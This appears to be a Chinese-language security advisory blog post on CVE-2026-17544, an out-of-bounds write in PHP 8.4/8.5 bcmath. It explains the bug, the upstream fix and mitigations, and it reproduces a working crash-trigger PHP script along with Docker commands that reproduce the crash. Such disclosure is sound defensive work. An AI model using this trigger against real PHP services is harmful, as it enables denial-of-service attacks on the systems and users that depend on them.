CVE-2026-17544:一行PHP代码打爆PHP 8.4/8.5的bcmath

导语:PHP 8.4开始官方把bcmath库vendor化(vendored libbcmath)放进src树,结果这个新生的字符串转换函数里漏了一行更新——一个off-by-N的越界写漏洞直接CVE-2026-17544浮出水面,CVSS 9.8分。一行PHP代码就能让任何运行PHP 8.4.x < 8.4.24或8.5.x < 8.5.9的进程”stack smashing detected”。


一、漏洞本质

这个洞出在ext/bcmath/libbcmath/src/str2num.cbc_str2num()函数里。bcmath是PHP处理任意精度数学运算的扩展,平时存在感不高,但凡涉及金融计算、密码学、区块链金额、电商订单金额的PHP服务都离不开它。漏洞利用者也看准了这点——你敢拿bccomp()处理用户输入,我就敢让你进程崩。

漏洞的根因说起来简单到让人想骂人。当用户传入bcmath的字符串操作数时,PHP会先把它转成内部的bc_num结构。bc_str2num()这个函数会做两件事:

  1. 截断分数部分:当用户指定的scale(精度)小于操作数的auto scale时,把多出来的尾数部分砍掉。
  2. 修剪尾部零:把整数部分末尾的0删掉,让数字更紧凑。

问题就出在第二步。代码长这样:

str_scale -= fractional_end - fractional_new_end;  // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)             // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

注意那一行注释——fractional_end没有被更新。它指向的是原始(未trim)的末尾位置。然后下一步bc_new_num_nonzeroed(digits, str_scale)按trim后的短长度分配缓冲区,紧接着bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)却按未trim的长长度拷数据。结果就是一段多出来的数据被写进了缓冲区边界之外——典型的off-by-N缓冲区溢出。

NVD给了CWE-787(越界写)和CVSS 9.8 Critical评分。漏洞发现者是Recep Asan(雷杰普·阿桑),GitHub ID是recepasan;PoC作者是Boreas37,公开仓库已经扔在GitHub上。


二、PoC下载与复现

PoC仓库github.com/boreas37/cve-2026-17544-poc

仓库里的关键文件就一个:trigger.php,不到50行:

<?php
$trigger = "1." . "9" . str_repeat("0", 300) . "1";
echo "[*] bccomp('1.9" . str_repeat('0', 300) . "1', '0', 300)n";
$r = bccomp($trigger, "0", 300);
echo "[+] result: " . var_export($r, true) . "n";
echo "[+] PHP " . PHP_VERSION . " — NO CRASH (patched)n";

触发原理:第一参数构造一个1.9+300个0+1的超长小数,scale参数传300。auto scale会计算为301(300个0+1),但用户传的scale是300,触发截断逻辑。然后trim尾部零的循环算出可以删掉300个零,但fractional_end还是指向未trim的位置——拷贝长度 = 实际分配的缓冲区长度 + 300字节,栈/堆缓冲区溢出。

复现命令(Docker一行搞定):

# 漏洞版本 PHP 8.4.23
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c 
 'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# 输出:*** stack smashing detected ***,退出码 133 (SIGABRT)

# 已修复版本 PHP 8.4.24
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c 
 'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# 输出:int(1),退出码 0

Boreas37在2026-08-12用Raspberry Pi 5(arm64)+ Docker实测过,三个版本(8.4.23/8.5.8/8.4.24)的对比结果完全确定——漏洞版本必崩,修复版本不崩。


三、修复方案与原理

上游PHP团队在8.4.24 / 8.5.9版本(2026-07-30发布)合入了一行修复:

// 在原代码基础上加上:
fractional_end = fractional_new_end;

就这一行,让fractional_end在trim之后正确指向新的末尾位置。后续的bc_copy_and_toggle_bcd按正确的(trimmed)长度拷数据,缓冲区长度对得上,溢出消失。

同时提交了一个回归测试文件ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt,覆盖触发路径,确保未来重构不会再出同样的bug。

PHP 8.4修复commit:fa18dab73f93 PHP 8.5修复commit:ce2ec8a70755 GitHub Advisory:GHSA-x692-q9x7-8c3f


四、危害评估

PoC作者在README里给了一个相当冷静的威胁评估,值得每个PHP运维看清楚:

远程DoS(直接可用):任何把攻击者控制的操作数或scale传给bccomp()的服务都能被确定性崩溃。常见的触发场景包括:

  • 处理金融计算/订单金额的API(用户输入小数精度)
  • 调用bcmath做金额校验的支付回调
  • 接受任意精度数输入的Web3 / 区块链RPC
  • 内部使用bcmath做价格比较的电商系统

崩溃表现:开了栈保护(stack-protector)的编译选项直接SIGABRT退出;没开的二进制会静默破坏栈上的保存寄存器和返回地址,行为未定义——可能崩溃,可能执行奇怪路径,可能在某些架构上变成RCE入口。

RCE(理论可能,未演示):理论上可以通过堆布局调教(heap grooming)构造出可控的RCE链,但有两个硬性限制:

  • 越界字节的值是BCD编码(0x00–0x09),不是任意字节
  • 溢出大小等于被trim的零的数量,需要精心构造输入才能精确控制

PoC作者明确说”难,未演示”。别把它当RCE来用——至少目前不是——但也别因此掉以轻心,黑帽子一直在改进exploit技术。


五、缓解与检查清单

1. 立即升级PHP

  • PHP 8.4.x → 8.4.24或更新
  • PHP 8.5.x → 8.5.9或更新
  • PHP 8.3.x及以下不受影响(漏洞是8.4引入vendor化libbcmath后才出现的)

2. 审计bccomp()调用

在你的PHP代码里搜bccomp(bcadd(bcsub(bcmul(bcdiv(bcmod(bcpow(bcsqrt(等bcmath函数调用,确认传入的操作数和scale参数是否全部来自可信源。如果有任何一条接受HTTP/JSON/RPC输入的链路调用了这些函数,立即修复。

3. 监控stack smashing日志

PHP-FPM、Apache mod_php、CLI模式都会在stderr输出 stack smashing detected 。把这个字符串加到日志告警规则里——任何bcmath相关崩溃都说明被触发了。

4. 容器/镜像基线

Docker官方镜像php:8.4.x-cliphp:8.4.x-fpmphp:8.4.x-apache系列都受此漏洞影响。把所有8.4.x和8.5.x的镜像钉到补丁版本再build。


六、总结

CVE-2026-17544是一个教科书级别的”少写一行代码”漏洞。fractional_end这个指针在trim操作之后理应更新指向新位置,但开发者忘了,于是缓冲区长度和拷贝长度错位——这是1972年C语言诞生以来就没变过的陷阱。

有意思的是,这个洞在PHP 8.4 vendor化libbcmath之前根本不存在,是重构新代码时引入的新bug。这再次印证了安全圈的那句老话:新代码 = 新漏洞。vendor化让bcmath更容易维护和升级了,但首次大规模重写就贡献了一个CVSS 9.8,也是讽刺。

赶紧检查你的PHP版本。

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容